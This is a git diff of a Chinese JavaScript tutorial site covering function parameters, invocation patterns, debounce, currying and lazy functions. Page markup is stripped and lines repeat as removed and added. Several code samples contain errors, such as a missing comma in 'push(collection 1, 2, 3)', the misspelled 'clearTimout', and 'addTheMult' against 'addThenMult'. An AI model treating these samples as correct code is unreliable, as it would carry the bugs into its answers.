                            我们期待着不定参数和默认参数可以完全取代 arguments,要实现这个目标,标准中增加了相应的限制:在使用不定参数或默认参数的函数中禁止使用 arguments 对象。曾经实现过 arguments 的引擎不会立即移除对它的支持,当然,现在更推荐使用不定参数和默认参数。

                            - + diff --git a/core-modules/ecmascript-function-objects/function-arguments/function-parameters/index.html b/core-modules/ecmascript-function-objects/function-arguments/function-parameters/index.html index 796c5373f..c4c9055ef 100644 --- a/core-modules/ecmascript-function-objects/function-arguments/function-parameters/index.html +++ b/core-modules/ecmascript-function-objects/function-arguments/function-parameters/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -56,12 +59,12 @@
                            obj = {};
                            obj.name = 'white';
                            console.log(person.name); // 'black'
                            }
                            var person = {};
                            foo(person);

                            函数重载

                            JavaScript 函数不能像传统意义上那样实现重载。而在其他语言中,可以为一个函数编写两个定义,只要这两个定义的签名(接受的参数的类型和数量)不同即可。

                            JavaScript 函数没有签名,因为其参数是由包含零个或多个值的数组来表示的。而没有函数签名,真正的重载是不可能做到的。

                            // 后面的声明覆盖了前面的声明
                            function addSomeNumber(num) {
                            return num + 100;
                            }
                            function addSomeNumber(num) {
                            return num + 200;
                            }
                            var result = addSomeNumber(100);
                            // 300

                            只能通过检查传入函数中参数的类型和数量并作出不同的反应,来模仿方法的重载。

                            function doAdd() {
                            if (arguments.length == 1) {
                            alert(arguments[0] + 10);
                            } else if (arguments.length == 2) {
                            alert(arguments[0] + arguments[1]);
                            }
                            }
                            -
                            doAdd(10);
                            // 20
                            doAdd(30, 20);
                            // 50
                            +
                            doAdd(10);
                            // 20
                            doAdd(30, 20);
                            // 50
                            - + diff --git a/core-modules/ecmascript-function-objects/function-arguments/index.html b/core-modules/ecmascript-function-objects/function-arguments/index.html index 4697a339b..9e9817a23 100644 --- a/core-modules/ecmascript-function-objects/function-arguments/index.html +++ b/core-modules/ecmascript-function-objects/function-arguments/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/core-modules/ecmascript-function-objects/function-arguments/rest-parameters/index.html b/core-modules/ecmascript-function-objects/function-arguments/rest-parameters/index.html index 59e88adf5..2d44c9511 100644 --- a/core-modules/ecmascript-function-objects/function-arguments/rest-parameters/index.html +++ b/core-modules/ecmascript-function-objects/function-arguments/rest-parameters/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,12 +37,12 @@
                            add(2, 5, 3); // 10

                            上面代码的 add 函数是一个求和函数,利用函数剩余参数,可以向该函数传入任意数目的参数。

                            下面是一个函数剩余参数代替 arguments 变量的例子。

                            // arguments变量的写法
                            function sortNumbers() {
                            return Array.prototype.slice.call(arguments).sort();
                            }
                            // rest参数的写法
                            const sortNumbers = (...numbers) => numbers.sort();

                            arguments 对象不是数组,而是一个类似数组的对象。所以为了使用数组的方法,必须使用 Array.prototype.slice.call 先将其转为数组。函数剩余参数就不存在这个问题,它就是一个真正的数组,数组特有的方法都可以使用。下面是一个利用函数剩余参数改写数组 push 方法的例子。

                            function push(array, ...items) {
                            items.forEach(function(item) {
                            array.push(item);
                            console.log(item);
                            });
                            }
                            const collection = [];
                            -
                            push(collection 1, 2, 3)

                            与参数对象的对比

                            剩余参数参数对象
                            只包含那些没有对应形参的实参包含了传给函数的所有实参
                            真实的数组,可直接使用所有数组方法不是一个真实的数组,是个类数组,需要 Array.from 或解构赋值转换为真实数组后方可遍历
                            还有一些附加的属性, 比如 callee 属性

                            注意事项

                            function f(a, ...b, c) { ... }
                            // Uncaught SyntaxError: Rest parameter must be last formal parameter
                            (function(a) {}.length);
                            // 1
                            (function(...a) {}.length);
                            // 0
                            (function(a, ...b) {}.length);
                            // 1
                            +
                            push(collection 1, 2, 3)

                            与参数对象的对比

                            剩余参数参数对象
                            只包含那些没有对应形参的实参包含了传给函数的所有实参
                            真实的数组,可直接使用所有数组方法不是一个真实的数组,是个类数组,需要 Array.from 或解构赋值转换为真实数组后方可遍历
                            还有一些附加的属性, 比如 callee 属性

                            注意事项

                            function f(a, ...b, c) { ... }
                            // Uncaught SyntaxError: Rest parameter must be last formal parameter
                            (function(a) {}.length);
                            // 1
                            (function(...a) {}.length);
                            // 0
                            (function(a, ...b) {}.length);
                            // 1
                            - + diff --git a/core-modules/ecmascript-function-objects/function-calls/apply-invocation-pattern/index.html b/core-modules/ecmascript-function-objects/function-calls/apply-invocation-pattern/index.html index 85c4afb7a..ba7e7686e 100644 --- a/core-modules/ecmascript-function-objects/function-calls/apply-invocation-pattern/index.html +++ b/core-modules/ecmascript-function-objects/function-calls/apply-invocation-pattern/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -31,12 +34,12 @@

                              间接调用模式

                              JavaScript 中函数也是对象,函数对象也可以包含方法。call()apply() 方法可以用来间接地调用函数。

                              这两个方法都允许显式指定调用所需的 this 值,也就是说,任何函数可以作为任何对象的方法来调用,哪怕这个函数不是那个对象的方法。两个方法都可以指定调用的实参。call() 方法使用它自有的实参列表作为函数的实参,apply() 方法则要求以数组的形式传入参数。

                              var obj = {};
                              function sum(x, y) {
                              return x + y;
                              }
                              console.log(sum.call(obj, 1, 2));
                              // 3
                              -
                              console.log(sum.apply(obj, [1, 2]));
                              // 3
                              +
                              console.log(sum.apply(obj, [1, 2]));
                              // 3
                              - + diff --git a/core-modules/ecmascript-function-objects/function-calls/constructor-invocation-pattern/index.html b/core-modules/ecmascript-function-objects/function-calls/constructor-invocation-pattern/index.html index e2d74f8cc..7cd6813ff 100644 --- a/core-modules/ecmascript-function-objects/function-calls/constructor-invocation-pattern/index.html +++ b/core-modules/ecmascript-function-objects/function-calls/constructor-invocation-pattern/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -42,12 +45,12 @@
                              function fn(){
                              this.a = 2;
                              return obj;
                              }
                              const test = new fn();
                              -
                              console.log(test);
                              // { a: 1 }
                              +
                              console.log(test);
                              // { a: 1 }
                              - + diff --git a/core-modules/ecmascript-function-objects/function-calls/function-invocation-pattern/index.html b/core-modules/ecmascript-function-objects/function-calls/function-invocation-pattern/index.html index e5f6be459..0c2e49151 100644 --- a/core-modules/ecmascript-function-objects/function-calls/function-invocation-pattern/index.html +++ b/core-modules/ecmascript-function-objects/function-calls/function-invocation-pattern/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,12 +37,12 @@
                              function add(x,y){
                              'use strict';
                              console.log(this);
                              // undefined
                              }
                              add();

                              💡因此,this 可以用来判断当前是否是严格模式

                              const strict = (function(){
                              return !this;
                              }());

                              重写现象

                              因为函数调用模式的函数中的 this 绑定到全局对象,所以会发生全局属性被重写的现象。

                              var a = 0;
                              function fn(){
                              this.a = 1;
                              }
                              fn();
                              -
                              console.log(this, this.a, a);
                              // window 1 1
                              +
                              console.log(this, this.a, a);
                              // window 1 1
                              - + diff --git a/core-modules/ecmascript-function-objects/function-calls/index.html b/core-modules/ecmascript-function-objects/function-calls/index.html index e7d8b8836..396ae1caf 100644 --- a/core-modules/ecmascript-function-objects/function-calls/index.html +++ b/core-modules/ecmascript-function-objects/function-calls/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/core-modules/ecmascript-function-objects/function-calls/method-invocation-pattern/index.html b/core-modules/ecmascript-function-objects/function-calls/method-invocation-pattern/index.html index 47337edb4..d3fbd1ba3 100644 --- a/core-modules/ecmascript-function-objects/function-calls/method-invocation-pattern/index.html +++ b/core-modules/ecmascript-function-objects/function-calls/method-invocation-pattern/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -38,12 +41,12 @@
                              console.log(self === foo);
                              //true
                              return self;
                              }
                              return n();
                              }
                              }
                              -
                              console.log(foo.fn() === foo);
                              // true
                              +
                              console.log(foo.fn() === foo);
                              // true
                              - + diff --git a/core-modules/ecmascript-function-objects/function-declarations/arrow-function-definitions/index.html b/core-modules/ecmascript-function-objects/function-declarations/arrow-function-definitions/index.html index 4d1fc7e3d..fca758f85 100644 --- a/core-modules/ecmascript-function-objects/function-declarations/arrow-function-definitions/index.html +++ b/core-modules/ecmascript-function-objects/function-declarations/arrow-function-definitions/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -54,12 +57,12 @@
                              insert(2).into([1, 3]).after(1); // [1, 2, 3]

                              下面是一个部署管道机制(pipeline)的例子,即前一个函数的输出是后一个函数的输入。

                              const pipeline = (...focus) => (val) => focus.reduce((a, b) => b(a), val);
                              const plus1 = (a) => a + 1;
                              const mult2 = (a) => a * 2;
                              const addThenMult = pipeline(plus1, mult2);
                              addTheMult(5);
                              // 12

                              如果觉得上面的可读性比较差,也可以采用下面的写法。

                              const plus1 = (a) => a + 1;
                              const mult2 = (a) => a * 2;
                              -
                              mult2(plus1(5));
                              // 12
                              +
                              mult2(plus1(5));
                              // 12
                              - + diff --git a/core-modules/ecmascript-function-objects/function-declarations/async-function-definitions/index.html b/core-modules/ecmascript-function-objects/function-declarations/async-function-definitions/index.html index e88ce8209..08cf7a397 100644 --- a/core-modules/ecmascript-function-objects/function-declarations/async-function-definitions/index.html +++ b/core-modules/ecmascript-function-objects/function-declarations/async-function-definitions/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -54,12 +57,12 @@
                              console.log('DONE!');
                              }

                              异步串行遍历

                              要等待所有的结果返回,我们还是要回到老式的 for 循环写法:

                              async function execute(tasks) {
                              let result = [];
                              for (const task of tasks) {
                              try {
                              result.push(await task());
                              } catch (err) {
                              result.push(null);
                              }
                              }
                              return result;
                              }

                              上面这段的遍历是 串行 执行的,我们也可以把它转换成 并行 的。

                              异步并行遍历

                              我们可以通过更改上面的代码来实现并行的异步操作:

                              async function execute(tasks) {
                              // map tasks to promises
                              const promises = tasks.map(delayLog);
                              // wait until all promises are resolved
                              await Promise.all(promises);
                              -
                              console.log('DONE!');
                              }

                              参考资料

                              +
                              console.log('DONE!');
                              }

                              参考资料

                              - + diff --git a/core-modules/ecmascript-function-objects/function-declarations/function-definitions/index.html b/core-modules/ecmascript-function-objects/function-declarations/function-definitions/index.html index 665ea1251..7694f7b6f 100644 --- a/core-modules/ecmascript-function-objects/function-declarations/function-definitions/index.html +++ b/core-modules/ecmascript-function-objects/function-declarations/function-definitions/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -51,12 +54,12 @@
                              var fn = function abc() {};
                              console.log(fn.name);
                              // 'abc'

                              函数声明优先

                              虽然都可以定义函数,但最大的区别在于:

                              foo();
                              // 能正常运行 弹出 foo
                              bar();
                              // 报错 Uncaught TypeError: baz is a function(...)
                              function foo() {
                              alert('foo');
                              }
                              -
                              var baz = function bar() {
                              alert('bar');
                              };
                              +
                              var baz = function bar() {
                              alert('bar');
                              };
                              - + diff --git a/core-modules/ecmascript-function-objects/function-declarations/index.html b/core-modules/ecmascript-function-objects/function-declarations/index.html index beeb483a1..1c61895f5 100644 --- a/core-modules/ecmascript-function-objects/function-declarations/index.html +++ b/core-modules/ecmascript-function-objects/function-declarations/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/core-modules/ecmascript-function-objects/function-internal/function-accessor/index.html b/core-modules/ecmascript-function-objects/function-internal/function-accessor/index.html index 5e8a2e366..881dc1f5a 100644 --- a/core-modules/ecmascript-function-objects/function-internal/function-accessor/index.html +++ b/core-modules/ecmascript-function-objects/function-internal/function-accessor/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -41,12 +44,12 @@
                              foo.current = 'EN'
                              console.log(foo.log)
                              // ['EN']
                              foo.current = 'ZN'
                              -
                              console.log(foo.log)
                              // ['EN', 'ZN']
                              +
                              console.log(foo.log)
                              // ['EN', 'ZN']
                              - + diff --git a/core-modules/ecmascript-function-objects/function-internal/function-prototype-object-methods/index.html b/core-modules/ecmascript-function-objects/function-internal/function-prototype-object-methods/index.html index b2ac250af..8fb4186d1 100644 --- a/core-modules/ecmascript-function-objects/function-internal/function-prototype-object-methods/index.html +++ b/core-modules/ecmascript-function-objects/function-internal/function-prototype-object-methods/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -47,12 +50,12 @@
                              var list2 = defaultsList(); // [10]
                              var list3 = defaultsList(1, 2, 3); // [10, 1, 2, 3]

                              配合定时器

                              在默认情况下,使用 window.setTimeout() 时,this 关键字会指向 window (或全局)对象。当使用类的方法时,需要 this 引用类的实例,你可能需要显式地把 this 绑定到回调函数以便继续使用实例。

                              function LateBloomer() {
                              this.petalCount = Math.ceil(Math.random() * 12) + 1;
                              }
                              // Declare bloom after a delay of 1 second
                              LateBloomer.prototype.bloom = function () {
                              window.setTimeout(this.declare.bind(this), 1000);
                              };
                              LateBloomer.prototype.declare = function () {
                              console.log('I am a beautiful flower with ' + this.petalCount + ' petals!');
                              };
                              -
                              var flower = new LateBloomer();
                              flower.bloom(); // 一秒钟后, 调用'declare'方法

                              +
                              var flower = new LateBloomer();
                              flower.bloom(); // 一秒钟后, 调用'declare'方法

                              - + diff --git a/core-modules/ecmascript-function-objects/function-internal/function-prototype-object-properties/index.html b/core-modules/ecmascript-function-objects/function-internal/function-prototype-object-properties/index.html index 5acba1e58..a5498bdc0 100644 --- a/core-modules/ecmascript-function-objects/function-internal/function-prototype-object-properties/index.html +++ b/core-modules/ecmascript-function-objects/function-internal/function-prototype-object-properties/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -44,12 +47,12 @@
                              console.log(bar.name); // ES5: "baz"
                              console.log(bar.name); // ES6: "baz"

                              Function 构造函数返回的函数实例,name 属性的值为 'anonymous'

                              new Function().name; // 'anonymous'

                              bind 返回的函数,name 属性值会加上 'bound ' 前缀。

                              function foo() {}
                              console
                              .log(foo.bind({}).name)
                              (
                              // 'bound foo'
                              -
                              function() {}
                              )
                              .bind({}).name; // 'bound '
                              +
                              function() {}
                              )
                              .bind({}).name; // 'bound '
                              - + diff --git a/core-modules/ecmascript-function-objects/function-internal/index.html b/core-modules/ecmascript-function-objects/function-internal/index.html index 3f9f0ae6c..58f67c729 100644 --- a/core-modules/ecmascript-function-objects/function-internal/index.html +++ b/core-modules/ecmascript-function-objects/function-internal/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/core-modules/ecmascript-function-objects/function-types/callback-function/index.html b/core-modules/ecmascript-function-objects/function-types/callback-function/index.html index 6b09216ca..745078dd9 100644 --- a/core-modules/ecmascript-function-objects/function-types/callback-function/index.html +++ b/core-modules/ecmascript-function-objects/function-types/callback-function/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -46,12 +49,12 @@
                              function successCallback() {
                              // Do stuff if success message received
                              }
                              function completeCallback() {
                              // Do stuff upon completion
                              }
                              function errorCallback() {
                              // Do stuff if error received
                              }
                              -
                              $.ajax({
                              url: 'https://example.com/api/collect',
                              before: beforeCallback,
                              success: successCallback,
                              complete: completeCallback,
                              error: errorCallback,
                              });

                              函数嵌套

                              一个回调函数中可以嵌入另一个回调函数,对于这种情况出现多层嵌套时,代码会难以阅读和维护,这个时候可以采用命名回调函数的方式调用,或者采用模块化管理函数,也可以用 Promise 模式编程。

                              优点和使用场景

                              优点

                              使用场景

                              +
                              $.ajax({
                              url: 'https://example.com/api/collect',
                              before: beforeCallback,
                              success: successCallback,
                              complete: completeCallback,
                              error: errorCallback,
                              });

                              函数嵌套

                              一个回调函数中可以嵌入另一个回调函数,对于这种情况出现多层嵌套时,代码会难以阅读和维护,这个时候可以采用命名回调函数的方式调用,或者采用模块化管理函数,也可以用 Promise 模式编程。

                              优点和使用场景

                              优点

                              使用场景

                              - + diff --git a/core-modules/ecmascript-function-objects/function-types/cascade-function/index.html b/core-modules/ecmascript-function-objects/function-types/cascade-function/index.html index 97bf0f024..d9df97adf 100644 --- a/core-modules/ecmascript-function-objects/function-types/cascade-function/index.html +++ b/core-modules/ecmascript-function-objects/function-types/cascade-function/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -33,12 +36,12 @@
                              Person.prototype = {
                              setName:function(name){
                              this.name = name;
                              return this;
                              },
                              setAge:function(age){
                              this.age = age;
                              return this;
                              },
                              setWeight:function(weight) {
                              this.weight = weight;
                              return this;
                              }
                              }
                              var uzi = new Person();
                              uzi.setName('Uzi').setAge(22).setWeight(160);
                              -
                              console.log(uzi);
                              // { name: "Uzi", age: 22, weight: 160 }

                              通过工厂函数创建实例对象,由于所有对象都会继承其原型对象的属性和方法,所以我们可以让定义原型对象中的那几个方法都返回用以调用方法的实例对象的引用,这样既可以对那些方法进行链式调用。

                              +
                              console.log(uzi);
                              // { name: "Uzi", age: 22, weight: 160 }

                              通过工厂函数创建实例对象,由于所有对象都会继承其原型对象的属性和方法,所以我们可以让定义原型对象中的那几个方法都返回用以调用方法的实例对象的引用,这样既可以对那些方法进行链式调用。

                              - + diff --git a/core-modules/ecmascript-function-objects/function-types/class-structure-function/index.html b/core-modules/ecmascript-function-objects/function-types/class-structure-function/index.html index 78d80bb75..db41d1565 100644 --- a/core-modules/ecmascript-function-objects/function-types/class-structure-function/index.html +++ b/core-modules/ecmascript-function-objects/function-types/class-structure-function/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -66,12 +69,12 @@
                              class Player extends Person {
                              constructor(props) {
                              super(props)
                              }
                              }
                              const uzi = new Play(['Uzi', 22])
                              console.log(uzi.say([2, 3]));
                              // 5

                              派生自表达式的类

                              很好理解,就是指父类可以是一个表达式。

                              function Rectangle(length, ){
                              // do something
                              }
                              -
                              class Square extends Rectangle {
                              // do something
                              }

                              参考资料:

                              +
                              class Square extends Rectangle {
                              // do something
                              }

                              参考资料:

                              - + diff --git a/core-modules/ecmascript-function-objects/function-types/debounce/index.html b/core-modules/ecmascript-function-objects/function-types/debounce/index.html index 10899d91a..9cd7e9335 100644 --- a/core-modules/ecmascript-function-objects/function-types/debounce/index.html +++ b/core-modules/ecmascript-function-objects/function-types/debounce/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,12 +37,12 @@
                              // 函数被调用,清除定时器
                              timer && clearTimout(timer);
                              // 当返回的函数被最后一个调用后(也就是用户停止了某个连续的操作)
                              // 再过 wait 毫秒就执行 func
                              // 这里直接使用箭头函数就不用保存执行上下文的引用了
                              timer = setTimeout(() => {
                              fn.apply(this, args);
                              }, delay);
                              };
                              }

                              其他框架库实现:Lodash Underscore

                              应用场景

                              函数防抖应用场景:连续事件的响应只需执行一次回调

                              总结:适合多次事件一次响应的情况

                              应用实践

                              注册实时验证

                              这里以用户注册时验证用户名是否被占用为例,如今很多网站为了提高用户体验,不会再输入框失去焦点的时候再去判断用户名是否被占用,而是在输入的时候就在判断这个用户名是否已被注册:

                              $('input.user-name').on('input', function () {
                              $.ajax({
                              url: `https://just.com/check`,
                              method: 'post',
                              data: {
                              username: $(this).val(),
                              },
                              success(data) {
                              if (data.isRegistered) {
                              $('.tips').text('该用户名已被注册!');
                              } else {
                              $('.tips').text('恭喜!该用户名还未被注册!');
                              }
                              },
                              error(error) {
                              console.log(error);
                              },
                              });
                              });

                              很明显,这样的做法不好的是当用户输入第一个字符的时候,就开始请求判断了,不仅对服务器的压力增大了,对用户体验也未必比原来的好。而理想的做法应该是这样的,当用户输入第一个字符后的一段时间内如果还有字符输入的话,那就暂时不去请求判断用户名是否被占用。在这里引入函数防抖就能很好地解决这个问题:

                              $('input.user-name').on(
                              'input',
                              debounce(function () {
                              $.ajax({
                              url: `https://just.com/check`,
                              method: 'post',
                              data: {
                              username: $(this).val(),
                              },
                              success(data) {
                              if (data.isRegistered) {
                              $('.tips').text('该用户名已被注册!');
                              } else {
                              $('.tips').text('恭喜!该用户名还未被注册!');
                              }
                              },
                              error(error) {
                              console.log(error);
                              },
                              });
                              })
                              );

                              其实函数防抖的原理也非常地简单,通过闭包保存一个标记来保存  setTimeout  返回的值,每当用户输入的时候把前一个  setTimeout clear 掉,然后又创建一个新的  setTimeout,这样就能保证输入字符后的  interval  间隔内如果还有字符输入的话,就不会执行  fn  函数了。

                              function debounce(fn, interval = 300) {
                              let timeout = null;
                              return function () {
                              clearTimeout(timeout);
                              -
                              timeout = setTimeout(() => {
                              fn.apply(this, arguments);
                              }, interval);
                              };
                              }

                              参考资料

                              +
                              timeout = setTimeout(() => {
                              fn.apply(this, arguments);
                              }, interval);
                              };
                              }

                              参考资料

                              - + diff --git a/core-modules/ecmascript-function-objects/function-types/function-currying/index.html b/core-modules/ecmascript-function-objects/function-types/function-currying/index.html index 46bb6c25e..46b5b25c3 100644 --- a/core-modules/ecmascript-function-objects/function-types/function-currying/index.html +++ b/core-modules/ecmascript-function-objects/function-types/function-currying/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -40,12 +43,12 @@
                              return [].forEach.call(arr, fn);
                              };
                              Array.forEach(1, 2, 3, function (i) {
                              console.log(i);
                              // 1 2 3
                              });
                              Array.forEach('123', function (i) {
                              console.log(i);
                              // 1 2 3
                              });
                              -
                              Array.forEach(
                              {
                              '0': 1,
                              '1': 2,
                              '2': 3,
                              length: 3,
                              },
                              function (i) {
                              console.log(i);
                              // 1 2 3
                              }
                              );

                              类数组借用 Array 原型函数,是很常见的应用了。这个例子应用 call 函数提取出一个新的函数,可以接收更多的参数和类型,适用性更广。

                              参考资料

                              +
                              Array.forEach(
                              {
                              '0': 1,
                              '1': 2,
                              '2': 3,
                              length: 3,
                              },
                              function (i) {
                              console.log(i);
                              // 1 2 3
                              }
                              );

                              类数组借用 Array 原型函数,是很常见的应用了。这个例子应用 call 函数提取出一个新的函数,可以接收更多的参数和类型,适用性更广。

                              参考资料

                              - + diff --git a/core-modules/ecmascript-function-objects/function-types/hight-order-function/index.html b/core-modules/ecmascript-function-objects/function-types/hight-order-function/index.html index ae54f5042..d7f74f034 100644 --- a/core-modules/ecmascript-function-objects/function-types/hight-order-function/index.html +++ b/core-modules/ecmascript-function-objects/function-types/hight-order-function/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -53,12 +56,12 @@
                              const aop = function (fn, proxy) {
                              proxy.before && proxy.before();
                              fn();
                              proxy.after && proxy.after();
                              };
                              -
                              aop(service, proxyMethod);
                              // 计时开始
                              // 功能逻辑
                              // 计时结束:1

                              其他应用


                              参考资料:

                              +
                              aop(service, proxyMethod);
                              // 计时开始
                              // 功能逻辑
                              // 计时结束:1

                              其他应用


                              参考资料:

                              - + diff --git a/core-modules/ecmascript-function-objects/function-types/index.html b/core-modules/ecmascript-function-objects/function-types/index.html index 3f71851ed..77dc993b8 100644 --- a/core-modules/ecmascript-function-objects/function-types/index.html +++ b/core-modules/ecmascript-function-objects/function-types/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/core-modules/ecmascript-function-objects/function-types/lazy-function/index.html b/core-modules/ecmascript-function-objects/function-types/lazy-function/index.html index f805b1054..95ed246bc 100644 --- a/core-modules/ecmascript-function-objects/function-types/lazy-function/index.html +++ b/core-modules/ecmascript-function-objects/function-types/lazy-function/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                              惰性函数

                              惰性函数 表示函数执行的分支只会在函数 第一次调用 的时候执行,在第一次调用过程中,该函数会被覆盖为另一个按照合适方式执行的函数,这样任何对原函数的调用就不用再经过执行的分支了。

                              解决问题

                              在一个方法里面可能会涉及到一些兼容性的问题,不同的浏览器对应不同的方法,第一次我们遍历这些方法找到最合适的那个, 并将这个方法覆盖于遍历它的函数,这就是惰性函数即只遍历一次就找到最佳方案,下次再要找那个方法的时候就不用遍历了,提高了性能。

                              🌰 示例:常见的为 DOM 节点添加事件的函数

                              function addEvent(type, element, func) {
                              if (element.addEventListener) {
                              element.addEventListener(type, func, false);
                              } else if(element.attachEvent){
                              element.attachEvent('on' + type, func);
                              } else{
                              element['on' + type] = func;
                              }
                              }

                              每次调用 addEvent 函数的时候,它都要对浏览器所支持的能力进行检查,首先检查是否支持 addEventListener 方法,如果不支持,再检查是否支持 attachEvent 方法,如果还不支持,就用 DOM0 级的方法添加事件。这个过程,在 addEvent 函数每次调用的时候都要走一遍,其实,如果浏览器支持其中的一种方法,那么他就会一直支持了,就没有必要再进行其他分支的检测了,也就是说,if 语句不必每次都执行,代码可以运行的更快一些。解决的方案就是称之为 惰性载入 的技巧。

                              函数重写

                              在介绍惰性函数(或称惰性载入)之前,首先介绍函数重写技术。

                              由于一个函数可以返回另一个函数,因此可以用新的函数来覆盖旧的函数。

                              function foo(){
                              console.log('foo');
                              foo = function(){
                              console.log('bar');
                              }
                              }

                              这样一来,第一次调用该函数时会 console.log('foo') 会被执行,全局变量 foo 被重定义,并被赋予新的函数。当该函数再次被调用时,console.log('bar') 会被执行。

                              惰性载入

                              惰性函数的本质就是函数重写。所谓惰性载入,就是说函数执行的分支只会执行一次,之后调用函数时,直接进入所支持的分支代码。

                              有两种实现惰性载入的方式,第一种事函数在第一次调用时,对函数本身进行二次处理,该函数会被覆盖为符合分支条件的函数,这样对原函数的调用就不用再经过执行的分支了,我们可以用下面的方式使用惰性载入重写addEvent()

                              在函数被调用时处理函数

                              函数在第一次调用时,该函数会被覆盖为另外一个按合适方式执行的函数,这样任何对原函数的调用都不用再经过执行的分支了。代码重写如下

                              function addEvent(type, element, func) {
                              if (element.addEventListener) {
                              addEvent = function (type, element, func) {
                              element.addEventListener(type, func, false);
                              }
                              } else if(element.attachEvent){
                              addEvent = function (type, element, func) {
                              element.attachEvent('on' + type, func);
                              }
                              } else{
                              addEvent = function (type, element, func) {
                              element['on' + type] = func;
                              }
                              }
                              -
                              return addEvent(type, element, func);
                              }

                              在这个惰性载入的 addEvent() 中,if 语句的每个分支都会为 addEvent 变量赋值,有效覆盖了原函数。最后一步便是调用了新赋函数。下一次调用 addEvent() 时,便会直接调用新赋值的函数,这样就不用再执行 if 语句了。

                              但是,这种方法有个缺点,如果函数名称有所改变,修改起来比较麻烦。

                              声明函数时指定适当的函数

                              把嗅探浏览器的操作提前到代码加载的时候,在代码加载的时候就立刻进行一次判断,以便让 addEvent 返回一个包裹了正确逻辑的函数。

                              var addEvent = (function () {
                              if (document.addEventListener) {
                              return function (type, element, func) {
                              element.addEventListener(type, func, false);
                              }
                              }
                              else if (document.attachEvent) {
                              return function (type, element, func) {
                              element.attachEvent('on' + type, func);
                              }
                              }
                              else {
                              return function (type, element, func) {
                              element['on' + type] = func;
                              }
                              }
                              })();
                              +
                              return addEvent(type, element, func);
                              }

                              在这个惰性载入的 addEvent() 中,if 语句的每个分支都会为 addEvent 变量赋值,有效覆盖了原函数。最后一步便是调用了新赋函数。下一次调用 addEvent() 时,便会直接调用新赋值的函数,这样就不用再执行 if 语句了。

                              但是,这种方法有个缺点,如果函数名称有所改变,修改起来比较麻烦。

                              声明函数时指定适当的函数

                              把嗅探浏览器的操作提前到代码加载的时候,在代码加载的时候就立刻进行一次判断,以便让 addEvent 返回一个包裹了正确逻辑的函数。

                              var addEvent = (function () {
                              if (document.addEventListener) {
                              return function (type, element, func) {
                              element.addEventListener(type, func, false);
                              }
                              }
                              else if (document.attachEvent) {
                              return function (type, element, func) {
                              element.attachEvent('on' + type, func);
                              }
                              }
                              else {
                              return function (type, element, func) {
                              element['on' + type] = func;
                              }
                              }
                              })();
                              - + diff --git a/core-modules/ecmascript-function-objects/function-types/memorize-function/index.html b/core-modules/ecmascript-function-objects/function-types/memorize-function/index.html index 584a22ce3..31433b3b4 100644 --- a/core-modules/ecmascript-function-objects/function-types/memorize-function/index.html +++ b/core-modules/ecmascript-function-objects/function-types/memorize-function/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 函数记忆 - JavaScript Guidebook -

                                函数记忆

                                函数记忆: 指将上次的(计算结果)缓存起来,当下次调用时,如果遇到相同的(参数),就直接返回(缓存中的数据)。

